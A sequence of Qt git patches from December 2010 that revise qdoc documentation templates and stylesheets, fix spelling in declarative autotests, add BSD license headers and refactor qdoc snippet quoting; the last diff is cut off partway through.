b/doc/src/index.qdoc @@ -72,11 +72,11 @@ \enddiv \div {sectionlist tricol} \list - \o \l{qt-basic-concepts.html}{Programming with Qt} - \o \l{qt-gui-concepts.html}{UI Design with Qt} - \o \l{developing-with-qt.html}{Cross-platform and Platform-specific} - \o \l{technology-apis.html}{Qt and Key Technologies} - \o \l{best-practices.html}{Best Practices Guides} + \o \l{Programming with Qt} + \o \l{UI Design with Qt} + \o \l{Cross-Platform and Platform-Specific Development} + \o \l{Qt and Key Technologies} + \o \l{Best Practice Guides} \endlist \enddiv \div {sectionlist} diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc index b9bd3b4..a411aa2 100644 --- a/doc/src/overviews.qdoc +++ b/doc/src/overviews.qdoc @@ -122,9 +122,9 @@ /*! \group best-practices - \title Best Practices Guides + \title Best Practice Guides - \brief How-To Guides and Best Practices + \brief How-To and Best Practice Guides These documents provide guidelines and best practices for using Qt to solve specific technical problems. They are listed -- cgit v0.12 From 144ea56ae4c76cba0e89dc78356df2cac3783ef5 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:40:45 +0100 Subject: Doc: Fixed whitespace. --- doc/src/template/style/style.css | 75 ++++++++-------------------------------- 1 file changed, 14 insertions(+), 61 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 4f9e26c..451d6bf 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -2,7 +2,7 @@ { /* basic elements */ - html + html { color: #000000; background: #FFFFFF; @@ -210,8 +210,6 @@ { color: black } - - /* end basic elements */ /* font style elements */ @@ -255,8 +253,8 @@ clear: both; visibility: hidden; } - /* end global settings*/ + /* header elements */ .header { @@ -341,7 +339,6 @@ background-position: -2px -117px; } - #nav-topright li.nav-topright-dev a { width: 30px; @@ -416,7 +413,6 @@ overflow: hidden; } - .shortCut-topleft-inactive { padding-left: 3px; @@ -460,10 +456,8 @@ { color: #44a51c; } - - - /* end header elements */ + /* content and sidebar elements */ .wrapper { @@ -477,9 +471,6 @@ overflow: hidden; } - - - .wrapper .hd span { height: 15px; @@ -493,9 +484,6 @@ position: relative; } - - - .wrapper .ft { padding-left: 216px; @@ -504,9 +492,6 @@ overflow: hidden; } - - - .wrapper .ft span { height: 15px; @@ -519,10 +504,8 @@ display:block; padding-right:15px; } - - - /* end content and sidebar elements */ + /* sidebar elements */ .sidebar { @@ -532,11 +515,6 @@ font-size: 11px; } - - - - - .sidebar .searchlabel { padding: 0 0 2px 17px; @@ -766,8 +744,8 @@ } .floatingResult:hover{ } - /* end sidebar elements */ + /* content elements */ .wrap { @@ -775,9 +753,6 @@ overflow: visible; } - - - .wrap .toolbar { background-color: #fafafa; @@ -864,7 +839,6 @@ color: #00732F; } - .wrap .content { padding: 30px; @@ -897,9 +871,6 @@ margin-left: 0; } - - - .wrap .content ol li { background:none; font:normal 10pt/1.2 Verdana; @@ -1304,11 +1275,10 @@ .functionIndex a{ display:inline-block; } - /* end content elements */ -/* footer elements */ - .footer +/* footer elements */ + .footer { min-height: 100px; color: #797775; @@ -1318,15 +1288,12 @@ background-color: #E6E7E8; margin: 0; } - .small + .small { font: normal 9px/1 Verdana; } /* end footer elements */ - - - /* start index box */ .indexbox { @@ -1356,8 +1323,7 @@ _width:42%; padding:0 2% 0 1%; vertical-align:top; - -} + } .indexboxcont .indexIcon { @@ -1365,12 +1331,11 @@ *width:18%; _width:18%; overflow:hidden; + } -} - -.indexboxcont .section { - float: left; -} + .indexboxcont .section { + float: left; + } .indexboxcont .section p { @@ -1511,7 +1476,7 @@ } - .creator .header, .footer + .creator .header, .footer { display: block; clear: both; @@ -1595,8 +1560,6 @@ background: none; } - - .creator .header { width: 100%; @@ -1610,7 +1573,6 @@ /* position:fixed;*/ } - .creator .header .content { } @@ -1639,19 +1601,12 @@ text-decoration:none; } - - - - - .creator .wrap .toolbar { display:block; padding-top:0px; } - - .creator .wrap .breadcrumb ul li { font-weight: normal; } @@ -1675,7 +1630,6 @@ margin-top:-15px; } - .creator .toc { margin:10px 20px 10px 10px; } @@ -1692,7 +1646,6 @@ overflow: hidden; } - .item .primary { margin-right: 220px; position: relative; -- cgit v0.12 From ca56f3a1797d735048fcb8b1e2b4aede75db8f89 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:45:08 +0100 Subject: Updated the offline template to use a new offline style sheet. --- doc/src/template/style/offline.css | 662 +++++++++++++++++++++++ tools/qdoc3/test/qt-html-default-styles.qdocconf | 6 +- tools/qdoc3/test/qt-html-templates.qdocconf | 21 +- 3 files changed, 672 insertions(+), 17 deletions(-) create mode 100644 doc/src/template/style/offline.css diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css new file mode 100644 index 0000000..4a10d0a --- /dev/null +++ b/doc/src/template/style/offline.css @@ -0,0 +1,662 @@ +@media screen +{ + +/* basic elements */ + html + { + color: #000000; + background: #FFFFFF; + } + table + { + border-collapse: collapse; + border-spacing: 0; + } + fieldset, img + { + border: 0; + max-width:100%; + } + address, caption, cite, code, dfn, em, strong, th, var, optgroup + { + font-style: inherit; + font-weight: inherit; + } + del, ins + { + text-decoration: none; + } + li + { + list-style: none; + } + ol li + { + list-style: decimal; + } + caption, th + { + text-align: left; + } + h1, h2, h3, h4, h5, h6 + { + font-size: 100%; + } + q:before, q:after + { + content: ''; + } + abbr, acronym + { + border: 0; + font-variant: normal; + } + sup, sub + { + vertical-align: baseline; + } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:0.5em; + } + legend + { + color: #000000; + } + strong + { + font-weight: bold; + } + em + { + font-style: italic; + } + + /* adding Qt theme */ + body + { + margin-left: 0.5em; + margin-right: 0.5em + } + a + { + color: #00732F; + text-decoration: none; + } + hr + { + background-color: #E6E6E6; + border: 1px solid #E6E6E6; + height: 1px; + width: 100%; + text-align: left; + margin: 1.5em 0 1.5em 0; + } + + pre + { + border: 1px solid #DDDDDD; + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + margin: 0 1.5em 1em 1em; + padding: 1em 1em 1em 1em; + overflow-x: auto; + } + table, pre + { + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + background-color: #F6F6F6; + border: 1px solid #E6E6E6; + border-collapse: separate; + font-size: 110%; + margin-bottom: 2.5em; + } + pre { + font-size: 90%; + display: block; + overflow:hidden; + } + thead + { + margin-top: 0.5em; + font-weight: bold + } + th + { + padding: 0.5em 1.5em 0.5em 1.5em; + background-color: #E1E1E1; + border-left: 1px solid #E6E6E6; + } + td + { + padding: 0.25em 1.5em 0.25em 2em; + } + + td.rightAlign + { + padding: 0.25em 0.5em 0.25em 1em; + } + table tr.odd + { + border-left: 1px solid #E6E6E6; + background-color: #F6F6F6; + color: #66666E; + } + table tr.even + { + border-left: 1px solid #E6E6E6; + background-color: #ffffff; + color: #66666E; + } + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + + span.comment + { + color: #008B00; + } + span.string, span.char + { + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: black; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black + } +/* end basic elements */ + +/* font style elements */ + .heading + { + font-weight: bold; + font-size: 160%; + } + .subtitle + { + font-size: 130% + } + .small-subtitle + { + font-size: 130% + } + .red + { + color:red; + } +/* end font style elements */ + +/* global settings*/ + .header, .footer + { + display: block; + clear: both; + overflow: hidden; + } +/* end global settings*/ + +/* header elements */ + .header .qtref + { + color: #00732F; + font-weight: bold; + font-size: 180%; + } + + .header .content + { + margin-bottom: 0.5em + } + + .naviNextPrevious + { + display: none + } + .header .breadcrumb + { + font-size: 90%; + padding: 0.5em 0 0.5em 1em; + margin: 0; + background-color: #fafafa; + height: 1.35em; + border-bottom: 1px solid #d1d1d1; + } + + .header .breadcrumb ul + { + margin: 0; + padding: 0; + } + + .header .content + { + word-wrap: break-word; + } + + .header .breadcrumb ul li + { + float: left; + background: url(../images/breadcrumb.png) no-repeat 0 3px; + padding-left: 1.5em; + margin-left: 1.5em; + } + + .header .breadcrumb ul li.last + { + font-weight: normal; + } + + .header .breadcrumb ul li a + { + color: #00732F; + } + + .header .breadcrumb ul li.first + { + background-image: none; + padding-left: 0; + margin-left: 0; + } + + .header .content ol li { + background: none; + margin-bottom: 1.0em; + margin-left: 1.2em; + padding-left: 0 + } + + .header .content li + { + background: url(../images/bullet_sq.png) no-repeat 0 5px; + margin-bottom: 1em; + padding-left: 1.2em; + } + +/* end header elements */ + +/* content elements */ + .content h1 + { + font-weight: bold; + font-size: 180% + } + + .content h2 + { + font-weight: bold; + font-size: 160%; + width: 100%; + } + .content h3 + { + font-weight: bold; + font-size: 1.4em; + width: 100%; + } + .content table p + { + margin: 0 + } + .content ul + { + padding-left: 2.5em; + } + .content li + { + padding-top: 0.25em; + padding-bottom: 0.25em; + } + .content ul img { + vertical-align: middle; + } + + .content a:visited + { + color: #4c0033; + text-decoration: none; + } + + .content a:visited:hover + { + color: #4c0033; + text-decoration: underline; + } + + a:hover + { + color: #4c0033; + text-decoration: underline; + } + descr p a + { + text-decoration: underline; + } + + .descr p a:visited + { + text-decoration: underline; + } + + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; +/* + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; +*/ + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .content .flowList p{ + padding:0px; + } + + .content .alignedsummary + { + margin: 15px; + } + + + .qmltype + { + text-align: center; + font-size: 160%; + } + .qmlreadonly + { + padding-left: 5px; + float: right; + color: #254117; + } + + .qmldefault + { + padding-left: 5px; + float: right; + color: red; + } + + .qmldoc + { + } + + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ + background-color: #F6F6F6; + } + + .generic .even .alphaChar{ + background-color: #FFFFFF; + } + + .memItemRight{ + padding: 0.25em 1.5em 0.25em 0; + } + .highlightedCode + { + margin: 1.0em; + } + .annotated td { + padding: 0.25em 0.5em 0.25em 0.5em; + } + + .header .content .toc ul + { + padding-left: 0px; + } + + .content .toc h3 { + border-bottom: 0px; + margin-top: 0px; + } + + .content .toc h3 a:hover { + color: #00732F; + text-decoration: none; + } + + .content .toc .level2 + { + margin-left: 1.5em; + } + + .content .toc .level3 + { + margin-left: 3.0em; + } + + .content ul li + { + background: url(../images/bullet_sq.png) no-repeat 0 0.7em; + padding-left: 1em + } + + .content .toc li + { + background: url(../images/bullet_dn.png) no-repeat 0 5px; + padding-left: 1em + } + + .relpage + { + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + border: 1px solid #DDDDDD; + padding: 25px 25px; + clear: both; + } + .relpage ul + { + float: none; + padding: 1.5em; + } + + h3.fn, span.fn + { + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + font-weight: bold; + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } + +/* end content elements */ +/* footer elements */ + + .footer + { + color: #393735; + font-size: 0.75em; + text-align: center; + padding-top: 1.5em; + padding-bottom: 1em; + background-color: #E6E7E8; + margin: 0; + } + .footer p + { + margin: 0.25em + } + .small + { + font-size: 0.75em; + } +/* end footer elements */ + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } +} + +/* end of screen media */ + +/* start of print media */ + +@media print +{ + input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult + { + display: none; + background: none; + } + .content + { + background: none; + display: block; + width: 100%; margin: 0; float: none; + } +} +/* end of print media */ diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 623e4a9..d37ef5d 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,7 +4,7 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css +HTML.stylesheets = style/offline.css HTML.scripts = @@ -23,10 +23,10 @@ extraimages.HTML = qt-logo.png \ # Include the style sheets and scripts used. HTML.headerstyles = \ - " \n" + " \n" HTML.headerscripts = HTML.endheader = \ "\n" \ - "\n" + "\n" diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 8241fa0..12588f9 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -1,26 +1,19 @@ include(qt-html-default-styles.qdocconf) HTML.postheader = \ - "
    \n" \ + "
    \n" \ "
    \n" \ - "
    \n" \ - " Home\n" \ - "
    \n" \ " Qt Reference Documentation\n" \ "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" + "
      \n" \ + "
        \n" \ + "
      • Home
      • \n" \ + " \n" HTML.postpostheader = \ - "
      \n" \ - "
      \n" \ - "
    \n" \ + " \n" \ "
    \n" \ - "
    \n" \ + "
    \n" \ "
    \n" HTML.footer = \ -- cgit v0.12 From 02c548c7a38c627b12e84ff164a406cc478f8658 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:46:11 +0100 Subject: Removed obsolete configuration options. --- tools/qdoc3/htmlgenerator.cpp | 6 ------ tools/qdoc3/htmlgenerator.h | 4 ---- 2 files changed, 10 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 948a7d6..ebc2713 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -270,12 +270,6 @@ void HtmlGenerator::initializeGenerator(const Config &config) postPostHeader = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_POSTPOSTHEADER); - creatorPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTHEADER); - creatorPostPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTPOSTHEADER); footer = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_FOOTER); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 8b5c50b..f5d2427 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -269,8 +269,6 @@ class HtmlGenerator : public PageGenerator QString endHeader; QString postHeader; QString postPostHeader; - QString creatorPostHeader; - QString creatorPostPostHeader; QString footer; QString address; bool pleaseGenerateMacRef; @@ -309,8 +307,6 @@ class HtmlGenerator : public PageGenerator #define HTMLGENERATOR_GENERATEMACREFS "generatemacrefs" // ### document me #define HTMLGENERATOR_POSTHEADER "postheader" #define HTMLGENERATOR_POSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_CREATORPOSTHEADER "postheader" -#define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader" QT_END_NAMESPACE -- cgit v0.12 From 3fe6eab1e6e451457b9c060b6b643b86d3f82557 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 20 Dec 2010 12:07:22 +1000 Subject: Fix spelling in declarative autotests Task-number: Reviewed-by: Martin Jones --- .../qdeclarativeecmascript/data/nonExistantAttachedObject.qml | 5 ----- .../qdeclarativeecmascript/data/nonExistentAttachedObject.qml | 5 +++++ .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 8 ++++---- .../qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp | 2 +- .../declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 6 +++--- 5 files changed, 13 insertions(+), 13 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml deleted file mode 100644 index f9585db..0000000 --- a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml +++ /dev/null @@ -1,5 +0,0 @@ -import Qt.test 1.0 - -MyQmlObject { - stringProperty: MyQmlContainer.prop -} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml new file mode 100644 index 0000000..f9585db --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml @@ -0,0 +1,5 @@ +import Qt.test 1.0 + +MyQmlObject { + stringProperty: MyQmlContainer.prop +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 77fab91..4228bc4 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -105,7 +105,7 @@ private slots: void constantsOverrideBindings(); void outerBindingOverridesInnerBinding(); void aliasPropertyAndBinding(); - void nonExistantAttachedObject(); + void nonExistentAttachedObject(); void scope(); void signalParameterTypes(); void objectsCompareAsEqual(); @@ -643,7 +643,7 @@ void tst_qdeclarativeecmascript::attachedProperties() void tst_qdeclarativeecmascript::enums() { - // Existant enums + // Existent enums { QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml")); QObject *object = component.create(); @@ -785,9 +785,9 @@ Access a non-existent attached object. Tests for a regression where this used to crash. */ -void tst_qdeclarativeecmascript::nonExistantAttachedObject() +void tst_qdeclarativeecmascript::nonExistentAttachedObject() { - QDeclarativeComponent component(&engine, TEST_FILE("nonExistantAttachedObject.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("nonExistentAttachedObject.qml")); QString warning = component.url().toString() + ":4: Unable to assign [undefined] to QString stringProperty"; QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp index 4470d65..304ce61 100644 --- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp +++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp @@ -512,7 +512,7 @@ void tst_qdeclarativeinstruction::dump() { QDeclarativeInstruction i; i.line = 50; - i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant + i.type = (QDeclarativeInstruction::Type)(1234); // Non-existent data->bytecode << i; } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 50463b7..6410853 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -947,7 +947,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("value", QVariant(13)); QCOMPARE(object->property("valueAlias").toInt(), 13); - // Write throught alias + // Write through alias object->setProperty("valueAlias", QVariant(19)); QCOMPARE(object->property("valueAlias").toInt(), 19); QCOMPARE(object->property("value").toInt(), 19); @@ -1109,7 +1109,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("rectProperty", QVariant(QRect(33, 12, 99, 100))); QCOMPARE(object->property("valueAlias").toRect(), QRect(33, 12, 99, 100)); - // Write throught alias + // Write through alias object->setProperty("valueAlias", QVariant(QRect(3, 3, 4, 9))); QCOMPARE(object->property("valueAlias").toRect(), QRect(3, 3, 4, 9)); QCOMPARE(object->property("rectProperty").toRect(), QRect(3, 3, 4, 9)); @@ -1129,7 +1129,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("rectProperty", QVariant(QRect(33, 8, 102, 111))); QCOMPARE(object->property("aliasProperty").toInt(), 33); - // Write throught alias + // Write through alias object->setProperty("aliasProperty", QVariant(4)); QCOMPARE(object->property("aliasProperty").toInt(), 4); QCOMPARE(object->property("rectProperty").toRect(), QRect(4, 8, 102, 111)); -- cgit v0.12 From ee4a2417950dc9b411660fa229908619eff956a2 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 20 Dec 2010 15:42:52 +1000 Subject: Add copyright header --- .../touchinteraction/pincharea/flickresize.qml | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index 8034e29..8f29d6d 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -1,3 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + import QtQuick 1.1 Rectangle { -- cgit v0.12 From 6b37f71b318445a338c4afe5ba8a5ccaff573518 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 20 Dec 2010 17:04:41 +1000 Subject: Update Minehunt demo warning message The message was talking about a C++ plugin when the demo is nowadays in a form of a standalone executable. Task-number: Reviewed-by: Bea Lam --- demos/declarative/minehunt/minehunt.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml index eb67b06..88ecd6d 100644 --- a/demos/declarative/minehunt/minehunt.qml +++ b/demos/declarative/minehunt/minehunt.qml @@ -104,7 +104,7 @@ Item { anchors.centerIn: parent; width: parent.width - 20 horizontalAlignment: Text.AlignHCenter wrapMode: Text.WordWrap - text: "Minehunt will not run properly if the C++ plugin is not compiled.\n\nPlease see README." + text: "Minehunt demo has to be compiled to run.\n\nPlease see README." color: "white"; font.bold: true; font.pixelSize: 14 visible: tiles == undefined } -- cgit v0.12 From d491aee7887331e6b1207e647f4d2ee3f43efacd Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Mon, 20 Dec 2010 10:41:18 +0100 Subject: Added BSD license to snippet code. --- doc/src/snippets/declarative/focus/focusColumn.qml | 39 ++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml index eb59309..9b761dd 100644 --- a/doc/src/snippets/declarative/focus/focusColumn.qml +++ b/doc/src/snippets/declarative/focus/focusColumn.qml @@ -1,3 +1,42 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the FOO module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ import QtQuick 1.0 Rectangle { -- cgit v0.12 From 382b359f2c014d8ce353845579508a8c54410c7f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 20 Dec 2010 16:08:57 +0100 Subject: Fixed handling of indented snippet markers. Refactored the code to remove namespace macros and snippet markers. --- tools/qdoc3/quoter.cpp | 56 +++++++++++++++++++++++--------------------------- tools/qdoc3/quoter.h | 1 + 2 files changed, 27 insertions(+), 30 deletions(-) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index 84c6fb1..8e08e9a 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -248,21 +248,8 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif } return t; } - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) { - // Ordinary code - t += getLine(); - } else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + + t += removeSpecialLines(line, comment); } failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter)); return t; @@ -277,21 +264,7 @@ QString Quoter::quoteTo( const Location& docLocation, const QString& command, if ( 